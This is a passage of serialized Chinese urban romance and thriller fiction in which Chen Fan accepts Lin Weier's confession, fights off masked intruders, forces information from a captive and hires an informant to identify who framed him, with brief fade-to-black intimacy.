我们两个人坐在阳台的椅子上,喝着红酒,她今晚向我表明了心意,我也没有多说什么,就像那句歌词,无声胜有声。
林薇儿微微咳嗽了一声,她只穿了一个睡衣,入夜微凉,我脱下外套,披在了她的身上。
被我亲了后,她的脸颊就一直红润,我想,她应该是害羞的。
林薇儿低着头,也不说话,就用手指摆弄面前的红酒杯,我笑着说:“怎么?害羞了?”
她的头更低了,许久,她摇了摇头道:“如果喜欢是有声音的,那么,此刻,会震耳欲聋……”
我微微一愣,内心震惊不已。
我没有想到,这个涉世未深的女孩,竟然勇敢的表达爱,她真的是,讨人喜欢。
“那你是什么时候喜欢我的?”我笑着问。
我泯了一口酒,我忽然觉得,自己被林薇儿给泡了。
她听了我的话,双手托腮,她想了好久,才开口道:“我也不知道,也许是第一次你救了我?或许是今晚?”
她的左手不停的抚摸红酒杯,一直重复,我知道,她有些紧张了。
忽然,她抬起头看着我,道:“我只知道,我很喜欢找你玩,我很喜欢和你在一起。”
“每一次和你约会,我都会拍照片记录我们的日常。”
“我拍下了天空和晚霞,我拍下了风车和江水,后来我才知道,现在我才懂,我做这一切,就是为了有个理由,能和你分享我的整个世界。”
她的心意,如同珍藏多年的红酒,醇香肆意,我不得不为之心动。
林薇儿,她,最为特别,干净的就如同一颗水晶。
让我忍不住想要碰在手心里。
这一次,她主动向我伸出了手,她抬起头,不在害羞,不在紧张,满眼笑意:“陈凡,我喜欢你,不是以妹妹的身份,而是以女人的身份!”
她的眼睛温柔坚定,她的笑容幸福无比。
这一刻,我不得不承认,我沦陷了……
我向她伸出了手,我们紧紧握住。
“我也会好好爱你,不是以哥哥的身份,而是以一个男人的身份……”
她微微一笑,放下了扎着的马尾辫,那一刻,我竟然有一种,我的女孩长大了的感觉。
她靠在我的肩膀上,轻轻道:“原来喜欢一个人,是这种感觉,很甜,很甜……”
我紧紧的搂着她,我们望着远方,一切温柔又浪漫……
时间就这样慢慢的过去,林薇儿时不时的和我将一些她生活中工作中遇到的一些八卦趣事,说到搞笑的地方,她还会咯咯的笑起来。
她笑起来的样子很好看,嘴角扬起一个弧度,那个弧度渐渐漫延开来,就像往湖中投下一个石头,激起水花荡漾的那种感觉。
“你看你笑的那么开心,你的工作,也不是只会给你带来烦恼。”我笑着说道。
“还好吧,我的生活是因为遇到你,才有滋有味。”林薇儿笑着说。
她的笑容越来越甜,她的心情也好了不少,夜,渐渐深了,林薇儿也打起了哈欠。
“困了?”
“嗯。”她点了点头。
“那就早点去休息吧。”我说。
林薇儿没有回答,反而将怀里的抱枕抱的更紧了,她将下巴抵在抱枕上,眼神有点游离,也有一些不好意思,她脸颊微微泛红,沉默了许久,终于开口道:“那个……我不敢一个人睡……”
我看着她可爱的模样,笑着问:“害怕?”
“有点吧。”她很坦诚的点了点头,道:“床太大了,空荡荡的,不习惯……”
酒店的应该比这个还大吧,也没见着小丫头睡不着啊?那她这么说,肯定只有一个原因。
我没有戳穿她,而是静静的看她接下来的行动。
见我没有任何表示,林薇儿有些着急了,她急忙说道:“陈凡……你就不能哄……哄我睡觉么?就像电视剧里面演的那样!”
她说完,自己都有些不好意思了,然后将头深深迈入抱枕中,过了一会儿,又抬起头,偷偷的看着我。
那个模样别提有多可爱了。
“既然你都提出要求了,我就恭敬不如从命了!”
我向她伸出手。
“太好了……”
她挽着我的胳膊,走向了卧室……
070痴情林薇儿(下)
林薇儿说的没有错,这里的床真的很大。
我坐在床边,林薇儿就像一只小兔子一样,向我蹭了过来,她身上那股淡淡的清香向我飘了过来。
我看着她近在咫尺,素净的完美的脸庞,我一时语塞,竟然不知道说什么好了。
“哥哥,你快讲啊~”林薇儿靠在我的怀里,小声提醒。
我搜肠刮肚,响了很久,终于想到了一个故事。
“在很久很久以前,在一个大森林里,有一只乌龟和一个兔子……”
噗嗤!
林薇儿忽然笑了,她眼睛弯成一道月牙,笑着道:“哥哥,你讲故事好烂啊,不就是龟兔赛跑么!”
“不行不行,你要换一个故事,换个有趣的!”
“你在命令我?”我故意捏了捏她的鼻子。
“不行么,你现在是我的……哄睡员……”
“那我有什么奖励么?”我坏笑问。
“你想要什么呀?”
我低头,吧嗒在她的脸上亲了一下,她睁开眼睛,刷一下脸都红了。
“你干嘛呀……”她声音小的犹如蚊子。
“惩罚不听话的小朋友……”
她羞红了脸,直接将头藏进我的怀里,然后闭着眼睛,不在说话,可我却分明听的到她的心跳。
我继续讲故事,渐渐地,她枕着我的胳膊睡着了……
她睡着的样子,睫毛弯弯,面色平静,就如同一个睡美人……
我在她的额头上亲了一下,然后将她放平,小心翼翼的走出了房间。
我知道,柳媚笙还在等着我。
于是,我去了她的房间。
我并不怕林薇儿知道我和柳媚笙的事情,她也不傻,柳媚笙对我的情意,路人都能看出来,林薇儿没有问,我也不会主动说。
有些时候,沉默不语,就是一种默认。
我刚到柳媚笙的房间,她便缠住了我,她身上的香味,让我有片刻的失神。
我笑着调侃道:“姐姐,你可真香……”
“喜欢就好,专门为你调制的……”
“想我了?”我问。
“很难不想,你今天这么霸气威武,姐姐很爱……”
我笑着搂着她,打着哈欠,柳媚笙也很识趣的扶着我,她今晚放过我了,我们两个人相拥而眠。
直到睡到半夜两点多,我忽然被一个电话吵醒,同样被惊醒的还有身旁的柳媚笙。
她翻个身,搂着我,迷迷糊糊道:“谁啊,这么晚。”
我打开台灯,拿过手机一看,脸色大变。
柳媚笙察觉到不对劲儿,她看了一眼手机,眉头紧蹙:“云城的电话?难道说还是赵刚!”
“跑不了,就是他!”
我敢要按拒接,却被柳媚笙拦了下来。
“这么晚给你打电话,肯定有什么事情,不管好事坏事,都要面对!”
柳媚笙的话提醒了我,无论这个电话是什么来意,我都要面对,于是我按下了接通键。
电话那边传来赵刚的暴怒声,那声音要将我的话筒震碎了!
可见他有多愤怒!
“陈凡,你个疯子,畜生!你对我儿子做了什么!”
我眉头紧皱和柳媚笙对视了一眼,一种不好的预感来袭,这件事很有可能和赵坤有关。
“我不懂你在说什么。”我语气平和道。
“你在装什么!你他么跟我装什么傻,就在刚才,小坤在医院被人补了刀,一刀扎在肚子上,现在还在抢救,陈凡,不是你干的还能是谁!我要你偿命!”
妈的!
我在心里暗骂了一声,我成了背锅侠了,就算我心志坚定,也不免心神一凛!
我晚上刚打完赵坤,晚上他就在医院被补刀,赵刚肯定认定这事儿是我干的,这屎盆子真是往我身上扣啊!
我看了一眼柳媚笙,她双手向下压,示意我不要冲动,也不要激动,她应该也猜到怎么回事。
“不是我!”我斩钉截铁道,我尽量克制住内心的波澜。
“你放屁!”赵刚在电话里大吼大叫:“不是你还能是谁?!你晚上刚在电话里威胁我,除了你,谁还敢动我赵刚的儿子!陈凡我告诉你,小坤要是有个三长两短,我就是拼尽赵家所有,也要将你碎尸万段!还有你身边所有的人,一个都别想跑!”
砰!
又是一阵摔手机的声音,这应该是赵刚今晚摔掉了第二个手机了。
我无奈一笑,卧室里一片寂静。
我并不害怕赵刚的威胁,我只是在想,那个背后要陷害我,让我背锅的人,到底是谁!
“到底怎么回事?”柳媚笙问道。
我拿过香烟,点了一根,道:“有人玩借刀杀人,借我的刀,去杀赵坤,或者……借赵刚的刀,来杀我……”
斯哈……
我吐出了一个眼圈,道:“无论是哪种,都是在逼赵家对我动手,逼我和赵家开战。”
我大脑在快速的分析,我在海城还有哪些仇人,或者说,赵坤在海城有哪些仇人。
“现在马上要查出来,到底是谁做的!”
柳媚笙当机立断,她拿出手机,立刻就拨打电话,找了海城的人脉。
她握着我的手,道:“我会让人去医院弄清楚情况,估计会有结果的,不过,我们现在这里也不安全了,我怕赵刚会报复我们!”
“你说的没错,我们现在就……”
我的话还没有说完,公寓门口方向突然传来一阵细微的开锁声,尽管这个声音很小,但在我的耳朵里,就如同“惊雷”一般!
有人要来偷家!
嘘!
我做了一个噤声的手势!
我熄灭了手里的烟,身体犹如猎豹一样,悄无声息的走向了门口,我全身肌肉紧绷,全神贯注的盯着门口。
柳媚笙也及其的配合我,她立刻关上了房间里的灯,整个屋子里,陷入了黑暗当中。
黑暗中,我屏住了呼吸,就等着门开的那一刹那!
“呜……”
就在这时候,意外发生了,林薇儿竟然从卧室里走了出来,她睡眼惺忪,手揉着眼睛道:“哥哥,柳姐,你们是在吵架么?”
妈的!
我心里暗骂一声,肯定是刚才赵刚的电话,吵醒了林薇儿。
林薇儿的话音未落,就听见“砰”的一声!
公寓的那所厚重的铁门,被撞击了!
那沉闷的声响,就知道,这力量不小,我低头一看,门锁链接处,已经出现了断裂。
这根本不是偷袭,这特么就是强攻!
是赵家的人么?他们怎么这么快?
我嗅到一丝的不对劲儿,可我现在没有时间思考,我要护住身后的两个女人!
“后退!”
我一把推开林薇儿,同时身体转过来,面对着正门,我重心下沉,做好了战斗准备!
柳媚笙也快速跑来,她将林薇儿护在了身后。
这个时候,我还不忘记拨通手机电话,是给刘飞打过去的,我不知道对方来了多少人,如果是我一个,我不会喊人,可现在我身后还有两个女人。
我必须要保证她俩的安全!
砰!
又是一次猛烈的撞击,公寓的门彻底被撞开!
门外,四个壮汉穿着黑色劲衣,头上蒙面,手里拿着甩棍,他们动作迅速,队形整齐,一看就是经过专业训练的,不是赵坤保镖那种货色!
他们没有任何的废话,在门被撞开的那一刻,透着外面的灯光,他们迅速做出了攻击,前面的两个人,在开门的一瞬间,他们眼神一交汇!
他们手中的甩棍,带着一阵风,一左一右,向我袭来!
他们瞄准我的头部和肋骨!动作全部都是杀招!
妈的!
赵刚是疯了吗!
071林薇儿的表白!
但这些人来的速度太快了,又似乎不像赵刚的人!
如果赵刚身边有这样身手的人,赵坤怎么可能还会被人在医院补刀?
所以,来的这波人,应该是幕后黑手!
我来不及多想,直接动手反击!
我抓起面前的一个台灯,嗖的一下,扔向了前面的黑衣人,那左边的黑衣人,迅速用甩棍击碎台灯,台灯顿时碎了一地。
就在他们走神的一瞬间,我发动了身体!
我的身体在狭小的空间,一矮一旋,躲过了前面甩棍的攻击,我的手肘狠狠顶在了左侧黑衣人的下巴上。
咯吱!
清脆的响声,伴随沉闷的哀嚎,他的下巴瞬间脱臼!
你有甩棍!
我有杀人技!
右侧的黑衣人见状,马上反应过来向我攻击,呼呼!
甩棍的声音,在我耳边呼啸,我弯腰低头,迅速的躲过,我的右手狠狠的扣住左边保镖的手腕,然后反向一拧,直接拧断他的胳膊。
同时,我用力将他拉拽到我面前!
砰!
他替我狠狠抗住了甩棍的攻击!
啊!——
黑衣人在也承受不住痛苦,他终于哀嚎了起来,在这个夜晚,他的哀嚎,把房顶都要掀开了!
第一个照面!我干残一个人!
但后续的攻击也随之而来!他们用甩棍封堵我躲避的空间!
就在这时候,柳媚笙用一个烟灰缸,狠狠砸向了走廊外面灯!
砰!
整个公寓门口,瞬间漆黑一片!
就是这一秒钟,给我争取来了躲避的时间,我迅速调整自己的身体,右脚狠狠的蹬出,踹在身后黑衣人的膝盖上!
卡擦!
那黑衣人被我踹跪在地上,砰!
我一个膝顶瞬间跟上!
咯吱!
又是一声清脆的响声,那黑衣人的下巴,被我干废了!
啊啊啊!——
他痛苦的叫声,回荡在整个公寓,好在这里是独门的,不然邻居一定会出来看戏!
我顺势抓起了地上的台灯碎片,这只是一块小小的碎玻璃,但在我的手里,它就如同一枚匕首!
呼!
甩棍正面砸向我!
我一个弯腰下马动作躲了过去,我的右手快速的划过弧线!
噗!
那台灯碎片,让我狠狠的扎进了对方的手肘!
呵!——
那黑衣人闷哼一声,咬着牙忍住疼痛,血腥味顿时涌进了我的鼻子,满是黑暗的屋子里,静的只能听见呼吸声。
来了四个人,我瞬间干废了三个!
剩下的那个,正站在我对面,他大气都不敢喘,生怕我听音辨位,不过,即便如此,我也能预感到他的位置。
血腥味越来越浓,甚至能听到滴答滴答的落在地上的声音,忽然,我只听得一声脚步身,我心里暗道,不好,他要跑!
“想跑?!”
没那么容易,我捡起地上的甩棍,朝着那个人的方向狠狠的砸了过去!
铛!
砰!
黑衣人重重栽倒在地上,四个人都被我留了下来。
战斗结束!
不过眨眼之间!
吧嗒!
柳媚笙打开了公寓里的灯,玄关处一片狼藉,弥漫着一股浓郁的血腥味,三个黑衣人横七竖八的躺在地上,两个直接晕了过去,只有那个被我扎出血的男人,还有意识。
不过他也好不到哪里去,疼的龇牙咧嘴,面目全非。
柳媚笙走到那个被我扎到手肘的黑衣人面前,冰冷的问道:“说!是谁派你们来的!”
那黑衣人脸色惨白,可却咬紧牙关,闭嘴不说。
我走到他的面前,冷冷的盯着他,他却不敢与我对视,因为疼痛,他只顾着龇牙咧嘴。
“有骨气不说是不是,很好,我会让你后悔你做的这个选择!”
我语气冰冷,眼神如刀!
我果断出手,按住了他伤口,然后用力!
“啊!——”
黑衣人发出了杀猪一样的嚎叫,他手肘上的伤口顿时涌出来了血,剧烈的疼痛让他浑身抽搐,冷汗从额头上冒了出来!
“是……赵……刚……”黑衣人断断续续道。
赵刚?
我和柳媚笙同时对视一眼,我有点不确信,赵刚的速度会这么快?这里是海城,不是云城。
同样,柳媚笙也一脸疑惑的看着我,她也对黑衣人的话表示了怀疑。
我冷冷一笑,再一次捏住了黑衣人的伤口,这一次,我的力道明显重了许多!
“啊!——啊!”
那黑衣人痛的浑身都颤抖哆嗦,可他依旧不说。
我眼神冰冷,道:“我倒要看看,是你的嘴巴硬,还是我的拳头硬!”
窗外,忽然传来了一阵警笛声,怎么来的这么快?究竟是邻居报的警,还是背后之人搞的鬼?
我的手机也响了!是刘飞!
“凡子,外面来了警车!”
“你们先别上来,不要掺和进来!”
这个时候,我不能让保镖公司掺和进来,毕竟这是暗斗,我要保证我名下的产业,必须都是干净的!
我和柳媚笙眼神交汇,瞬间有了决断!
“这里不安全了,我们必须立即离开!”
柳媚笙只说了这一句话,然后就去往卧室打电话,她打了几个电话后,马上出来道:“警察马上到,现场需要有人配合调查,但是你和薇儿不能留在这里,必须马上离开,我会让阿勇带着你们去安全屋。”
我点了点头。
我觉得柳媚笙的处理非常妥当,林薇儿是公众人物,不能被卷进来,一旦被曝光,舆论压力可想而知。
而我,是正当商人,我一旦卷入进来,东郊的度假区很有可能会易主,那样,我和夏颜的心血就白费了,在有两个月,东郊就能营业了!
林薇儿站在我的身后,她紧紧拉着我的手,她脸色有些惨白,今晚发生的事,将她吓的花容失色,我拍了拍的手,道:“别害怕,跟我走。”
柳媚笙的手下阿勇带着两个人上来。
我看向柳媚笙的眼神,有些迷惑,这个女人,究竟藏的多深,面对四个歹徒,她都临危不惧,事后,还能处理如此迅速,她的手下随叫随到,难道说,她随身都有保镖?
不然,阿勇怎么可能来的比警察还快?
柳媚笙似乎察觉到了我的心思,她眼神真挚的对我说道:“陈凡,你可以一直相信我!”
我点了点头。
确实,柳媚笙,可以一直让我相信。
阿勇带来的两个人,马上处理现场,阿勇则带着我和林薇儿穿过一条内部通道,然后带着我们乘坐货运电梯直达地下停车场,这样就和来的警察错开了。
到了地下停车场,我们坐上了一辆黑色奔驰商务车,车子行驶在海城的夜幕之中。
我心里放心不下柳媚笙,于是给她拨打了电话。
“怎么样?”我问:“你那还好?”
“担心我了?”柳媚笙问。
“嗯!”这次我斩钉截铁的回答。
我听到电话里面传来一阵回荡的脚步声,我就知道,她应该是离开了公寓。
“我把这里交给了手下的人,他们会处理好的。”柳媚笙说到。
“嗯,那我就放心了。”
我挂上电话,然后给刘飞打了电话,道:“来了几几台车?”
“两台。”刘飞道。
“你让手下的人,跟住柳媚笙的车,一定要确保她的安全。”我说道。
“是!”
我挂上电话,阿勇透过后视镜,看了看我,道:“凡哥,您对小姐很上心。”
“嗯,我们患难与共。”
一句患难与共,可见情谊之深,在我遇到麻烦的时候,柳媚笙总是站在我身边,我和她的感情,已经超越了身体。
有些感情,不是睡出来的。
而是两个人一起经历过困境,磨砺出来的!
我和柳媚笙就是后者。
阿勇坐在副驾驶,忽然开口说道:“凡哥,你是条汉子,能赤手空拳,对付四个受过专业训练的打手,阿勇我佩服!”
阿勇透过后视镜,向我投来钦佩的目光。
我微微一笑道:“你的老板,柳媚笙更值得钦佩,她可是女中豪杰。”
阿勇点了点头,笑了笑道:“自古美人配英雄,只有凡哥这样的男人,才值得我们柳总付出。”
一句话,说白了我和柳媚笙的关系。
我身旁的林薇儿一直在看着窗外,只不过她的眼神有些落寞。
忽然,她转过头,看着我,然后轻轻靠在了我的身上。
她的眼神有些落寞,可她却仅仅的靠着我。
“害怕了?”
她不语,只是摇了摇头。
我知道,这丫头,是吃醋了。
阿勇开着车,带着我们来到了海城一个老城区。
车子驶入了地下车库,然后直达电梯进入房间,这里的房门是一道厚重的防盗门,这就是柳媚笙说的安全屋。
我打量了一下,这里窗户都是用防弹材质,安保顶级,可以说是固若金汤。
“凡哥,林小姐,请你们好好休息,这里绝对安全,有什么需要随时联系我!”
阿勇安排好了一切,就关上了门离开。
诺大的房间里,就只剩下我和林薇儿……
072林薇儿的表白!
林薇儿站在客厅里,她双手不安的揉搓着,这小丫头似乎有心事。
“哥哥,对不起,真的抱歉,没想到给你惹了这么大的麻烦!”
林薇儿嗖的一下跑了过来,她猛的抱住了我,她不敢看我,我能感受到她的内心,她怕是内疚的不得了,林薇儿哪里见过这种场面,即便是电视剧,也拍不出来此等的惊心动魄。
我摸了摸林薇儿的头,温柔道:“先去洗个热水澡,放松一下,不要紧张,这里很安全。”
“嗯……”
林薇儿轻轻嗯了一声,像是一只收了惊吓的小兔子一样,走进了浴室。
我坐在客厅的沙发上,点燃了一颗烟。
今晚的战斗,点燃了我的神经,看来我把海城想的过于简单了,看来在这里,确实人外有人,山外有山,直到现在,我都坚信,来袭击我的,绝不是赵刚!
那个幕后黑手!
我一定要把你揪出来!
我猛吸了一口烟,尼古丁侵入了我的肺腑,让我激荡的心情得到了短暂的平复。
我听着浴室里,淅淅沥沥的流水声,我在想,今晚该如何面对林薇儿,要不要和她发生点什么。
我知道,林薇儿心里就早喜欢上了我,不然她也不会对我表白,虽然英雄救美的情节有些老套,可对于林薇儿这种深处娱乐圈,缺乏安全感的女孩来说,是最为致命的。
一根烟,我即将抽完。
我知道柳媚笙在调查背后的主谋,但有些事情,我也不能完全依赖他,虽然有些人,我不想再触及,可没办法,我当下只有这条路可选择。
因为我不知道,那个在背后的主谋,还会做出什么事情来。
我站起身,走到窗户前,望着宁静的黑夜。
我下定了决心,拨出了电话,那个电话号码是加密过的,我署名:夜枭。
电话响了许久,终于被接通。
“是我,陈凡。”我开门见山道。
电话那头沉默了几秒,随后传来了笑声,道:“陈凡,真是稀客啊,没想到你还能给我打电话?上次见你,还是五年前吧。”
“听说你把赵刚的我儿子给捅了?你可真有胆识,赵家的独苗你都敢动!”
“不是我做的。”我直接说道:“我也刚被袭击,我大半夜找你,就是要找你买消息!”
“说说看吧,这个人,只要是生意,就做,谁跟钱有仇啊!”
“两件事!”我抽了最后一口烟,道:“晚上去医院补刀赵坤的人是谁,第二件事,凌晨来偷袭我的人,又是谁!”
我的要求说完了,夜枭这个人,虽然要钱很黑,但是办事还是靠谱的,他如果办不了,也不会收钱,更不会答应。
“很难办?”
我见夜枭许久不说话,就询问他道:“如果不能办,就直说,我不喜欢墨迹。”
“陈凡……这……”夜枭在电话里说道:“不是不能办,是比较难办。”
“那就是可以办。”我说。
“赵家的实力你又不是不知道,既然你觉得背后有黑手,那这个人的背景绝对不比赵家差,保不齐还比赵家牛逼,这个消息很烫手……”
“你直接开价吧。”我问。
“一口价,100万!”夜枭继续道:“按照规矩,先付一半儿定金,剩下的,在我查到来源后,在付清尾款,消息一旦售出,绝不退款。”
“好,账号给我,我就一个要求,那就是要快!”
“没问题!”
我通过手机银行,支付给了夜枭50万,我还是比较相信夜枭的能力,我就等着背后黑手被揪出来,对于现在的我来说,钱财都是小事,信息才是关键。
我挂上电话,浴室里的水流声也停止了。
林薇儿披着浴袍走了出来,洗去了一身的疲惫,她整个人看起来也清爽了许多,她头发湿漉漉的还挂着水珠,素颜下的她,脸庞清秀干净,带着一种我见犹怜的柔弱感。
林薇儿抬起头,眼睫毛上还沾着水珠,她忽然开口道:“陈凡,我喜欢你,很喜欢,我想和你在一起。”
面对林薇儿突如其来的表白,我在意料之中。
她看我的眼神都拉丝了,更何况在车里的时候,她都吃醋了,她已经沉不住气了。
这种时候,我不能马上答应她,我想要让她死心塌地的爱着我。
“薇儿……”我轻轻喊了一下她的名字,温柔道:“你很好,很善良,也很优秀,就像一颗水晶一样干净纯粹。”
听到我的夸奖,林薇儿表情明媚无比。
“但是……”
我话锋一转,语气平静道:“今天发生的事情你也看到了,我现在麻烦缠身,危险重重,我没有办法给你一个承诺,甚至可能无法保证给你一个安稳的感情,所以……”
我盯着林薇儿的脸,我看见她从一开始的欣喜渐渐道失落,甚至在她的眼神里,藏着一种哀伤。
林薇儿眼里的光彩迅速的暗淡了下去,她咬了咬嘴唇,挤出了一个比哭还难看的笑容,道:“我知道的,我都知道,你都不怕危险来救我,我也不怕的。”
她抬起头,眼里红红,委屈巴巴的看着我:“我不要什么未来承诺,我只想和你在一起,陈凡,我喜欢你,是认真的,你不要拒绝我。”
林薇儿说完,就钻进了我的怀里,好像一切她成主宰。
“陈凡,我跟定你了!你不要推开我!”
林薇儿一口一个陈凡喊着我,让我苦笑不得,我见她跟着我的心意已决,就不在推辞。
我今晚救她出酒局,不就是为了得到她的芳心么。
我双臂搂着她的腰,温柔的抚摸她的后背,道:“好,那你就跟着我吧,做我的跟屁虫。”
“嗯!”她抬起头,看着我一脸认真:“做你一辈子的跟屁虫,拉钩上吊,一百年不许变!”
我的心微微颤动,这个女孩,纯粹的让人心疼。
她不会是我第一个女人,可我却想要在今晚成为他的男人。
我紧紧抱住林薇儿,她似乎也感受到了我情绪的变化,她紧紧搂着我的腰,对我说:“陈凡,今晚我要和你一起睡……”
073林薇儿的第一个男人!
暖黄色床头灯,映照在林薇儿清纯恬静的脸颊上。
为她增添了几分女人的成熟,褪去了几分青涩。
此时的她,不在是那个不谙世事的孩子,而是准备将自己交付给我的女人。
我温柔的抚摸着她,笑着问:“紧张么?”
“嗯……”
她在我耳边轻声哼了哼,然后就紧紧的搂住我,她的呼吸带着热气,让我浑身犹如过电一般。
“那我们改天?”我故意坏笑着问。
“不要~就今天!”
林薇儿带着一丝不容置疑的决绝,她主动亲吻了我,我热烈的回应……
吧嗒……
我随手关上了床头灯,房间里只剩下黑暗和暧昧的气息……
当清晨的第一缕阳光照射在林薇儿的脸上时,我已经醒了过来,我没有动,怕惊醒她,她的手还牵着我的手,看着她熟睡的侧脸,她的依赖,让我的心都融化了。
我小心翼翼的伸出了手,帮她理了理耳后的头发,她轻轻的翻了个身,她无意识的嘟囔着:“陈凡,不要走……”
我疼爱的摸了摸她的头,这丫头,怕是被我昨晚去柳媚笙的房间弄出阴影了,所以睡觉的时候,都要紧紧握着我的胳膊。
“不许走……”
她声音轻的像是羽毛,可却重重的落在我的心上。
我看着她依恋的模样,最终还是没有喊醒她,就是靠在床头,等着她起床。
林薇儿,就是我的一个礼物。
许久,她终于醒了过来,她抬起头,看着我在身边,然后哼哼的钻进了我的怀里。
“还不起来么?懒虫……”
“不嘛……”林薇儿娇羞的将头埋在我的怀里:“人家是第一次,有点累,你就疼疼我嘛……”
林薇儿娇滴滴的语气,让我欢喜不已,她的撒娇,让我欲罢不能,总是能精准的踩在我的心上。
这样的女人,我不得不爱。
她靠在我的怀里,手指在我的胸口划圈,她的眼神犹如春水含情,她温柔道:“把自己给你了,我就不怕了……”
“你怕什么?”我问。
“潜规则……怕赵坤的事情再一次发生……怕不能把自己完整的交给你……”
她忽然坐了起来,笑着道:“现在,我都不怕了,因为我完全的属于你了!”
我的心,在一次被她的话击中,我笑着问道:“你这都是哪学来的话,这么会哄人?”
“我这都是心里话啊,再说了,我也只会哄你……”
林薇儿坐起来,她用手指点了点我的鼻子,撒娇道:“陈凡,我要你一辈子都记住我,我们可是拉钩上吊一百年不许变的!”
“你可不能失言呦!”
林薇儿一脸认真的看着我,在等待我的回答。
“对你,我绝对不会失言!”我笑着摸了摸她的头。
林薇儿的手机不适时宜的响了起来。
“是刘姐。”她看了我一眼。
“接吧,早面对,早解决。”
林薇儿接起来电话,电话那边就传来刘姐的声音。
“哎呀,薇儿昨晚怎么样啊?赵少有没有说电影投资的事情啊?这部电影可是咱们公司今年最大的项目,如果一旦投资成功,到时候你出演女主,是很有可能拿影后的……”
“刘姐。”林薇儿顿了顿,道:“我已经决定和公司解约了。”
“什么?你在说什么呀?好端端的为什么要解约!”刘姐在电话里的声音有些慌乱。
“呵……”林薇儿冷哼一声,道:“刘姐,我虽然年纪小,但我不傻,我虽然平时脾气好,但并不代表我好欺负,昨天,是公司把我送到酒局上的,就是让我用身体来换资源吧!”
我顿时双眼一亮,好家伙,小丫头长大了,竟然一针见血,我看这个刘姐怎么回话!
“薇儿你说的这是什么话,在娱乐圈,无论男女,谁不知道这点事儿,这还叫事儿么?”
“那你怎么不去陪,你怎么不让你的妹妹去陪!”
林薇儿脸色涨红,可见她对公司有多失望。
“林薇儿,你这样说话,就没劲儿了吧!”
“解约!”
“你知道不知道,解约是要赔偿金的,你能赔得起吗!”
“不管多少钱,就算是负债,我也要和你们解约!”
“喂!林薇儿!”
林薇儿挂上了电话,她嘴巴嘟嘟撅起,她还没有消气。
“关于和公司解约的事情,我会让柳媚笙陪着你去的,有她在,我比较放心。”我好心的提醒道。
“嗯……”林薇儿有些不好意思道:“解约我不怕,只不过那个赔偿金,确实有些多。”
“大概需要多少钱?”我问。
“以我的身家,需要7000万把,我手里有个4000万左右,还差三千万。”林薇儿面露难色道:“这些年,我都是为公司打工的,大额收入,都被公司收走。”
我表示理解,即便是明星,她也不可能在短时间内,凑过三千万。
“没关系的哥哥,我可以找朋友筹措一下……”
我摇了摇头,道:“既然你成为了我的女人,我哪有让你去借钱的道理,我会先拿出3000万给你应急,然后我会成立一个娱乐公司,专门签你。”
“陈凡,谢谢你……”
“我们两个就不要再说谢了。”
我拍了拍林薇儿的头,然后起身穿衣服。
成立娱乐公司这个事情,我和柳媚笙都同意,接下来,我打算让柳媚笙也投资这个公司。
原因很简单:我不想让夏颜知道,我和林薇儿的事情。
我知道林薇儿很可爱,很单纯。
可我心里的那一抹重要位置,是留给夏颜的。
如果,没有她,我陈凡哪有今天!
我睡女人,就睡了,但我不想让夏颜伤心难过。
我走出卧室,去客厅抽了根烟,然后给柳媚笙打去了电话。
柳媚笙的声音依旧慵懒至极,她对我说道:“怎么起来这么早?昨晚没得手么?”
“得手了,就不能早起么?姐姐。”我说道:“那帮人调查出来了吗?”
“还没有,在等等看吧,背后的人很强。”柳媚笙有些头疼,她还是第一次查不到消息。
“薇儿已经和公司摊牌了,我想和你一起投资这个公司,姐姐有钱一起赚,你能投资多少?”我说道:“现在林薇儿的违约金还差3000万。”
“你这一大早就和姐姐来要钱了?”
“我只想和你搞这个公司。”
我说的也很直白了。
“哎呦,我好感动啊,那姐姐出2000万怎么样?”柳媚笙说道。
“好,剩下1000万,我来出!”
“等我,我这就去安全屋,给你送钱去!”
074情敌出现!幕后黑手!
柳媚笙风尘仆仆的来到了安全屋,她的脸上有些憔悴,想来是昨晚睡的不太好。
与此同时,我也收到了刘飞的电话。
“凡子,昨晚来公寓的警察和袭击你的人一伙儿!”
“怎么讲?”
刘飞的电话,让我一激灵,难道说昨晚那伙人要玩灯下黑?
“昨晚,那四个黑衣人被警察带下来,我亲眼看见警察给他们的手铐打开,我就跟着他们的车,发现来的那波警察是假冒的,他们直接上高速连夜离开了海城!”
“凡子,这伙人真特么阴啊,昨晚要是给你带走了,那后果不堪设想!”
挂上了电话,我也意识到了事情的严重性。
这伙人真是处处都藏着杀招,想想,后背都发凉。
我和柳媚笙两个人坐在餐厅吃饭,做饭的人竟然是林薇儿,我是着实没想到,这丫头竟然厨艺不错。
“医院那边来消息了,赵坤没有死,你可以放心了,今早,赵家的人就来给接回云城了。”
柳媚笙一早就将得到的消息,告诉了我。
“赵坤没有死,赵刚也不会对我下死手,不然我真是跳到黄河都洗不清了,但他一定会不择手段的来对付我。”
我喝了一口米粥,吃了一口青菜,面色平静到就像在说和自己无关的事情一样。
“你打算怎么办?”柳媚笙问我,她知道坐以待毙不是我的风格。
“等。”我吐出了一个字,目光犀利:“我在等一个消息。”
话音未落,我的手机上就收到了夜枭的消息,事情调查出来了。
于是我起身来到客厅,柳媚笙也跟了过来,有些事情,我可以让柳媚笙知道,但是绝对不能让林薇儿或者夏颜知道。
我拨通了夜枭的电话,柳媚笙看到这是个加密电话,她眼神放光,看我的眼神也不一样。
“陈凡,你要的事情,我已经调查出来了。”夜枭说。
“讲。”
“我入侵了医院的监控录像,找到了补刀赵坤的人,他们是地下组织暗影,而袭击你的那四名黑衣人,是某国训练有素的私人军事公司,专门接黑活的。”
“好,知道了。”
“暗影?”柳媚笙的眉头微蹙,她说道:“我听说过这个组织,要价极高,据说背景很复杂,谁会雇他们来呢?”
“嫁祸于我,激化矛盾。”我说道:“现在什么样的可能都有,局势越来越复杂,水也越来越浑浊了。”
“那就是两拨人,可能会是两个意图!”柳媚笙决断道。
“没错!我也是这样分析的!”我继续分析道:“这么看来,我倒把赵刚的嫌疑排除掉了,因为他的手下伸手动作太菜了。”
柳媚笙也认可我的观点,同时,她拿了一张2000万的支票,给了我,我并没有收。
“娱乐公司的事情,你去帮着林薇儿解决,解决不了的,我在出面。”
就在我和柳媚笙商讨有关新公司的事情时候,我的微信竟然收到了一条意外的消息,那个许久都不曾闪动的头像——秦悦!
她不是回秦家了吗?
怎么忽然给我发消息了?
于是我点开了对话框。
秦悦:“在么?”
我:“嗯。”
秦悦:“你没事就好。”
我:“秦小姐的消息很灵通啊,这么快就知道了?”
对方正在输入中……
秦悦:“海城就那么大,你现在风头正盛,又是拉踩赵坤,又是深夜被袭击,我想不知道都难。”
我:“那你是担心我了?”
秦悦:“去死!”
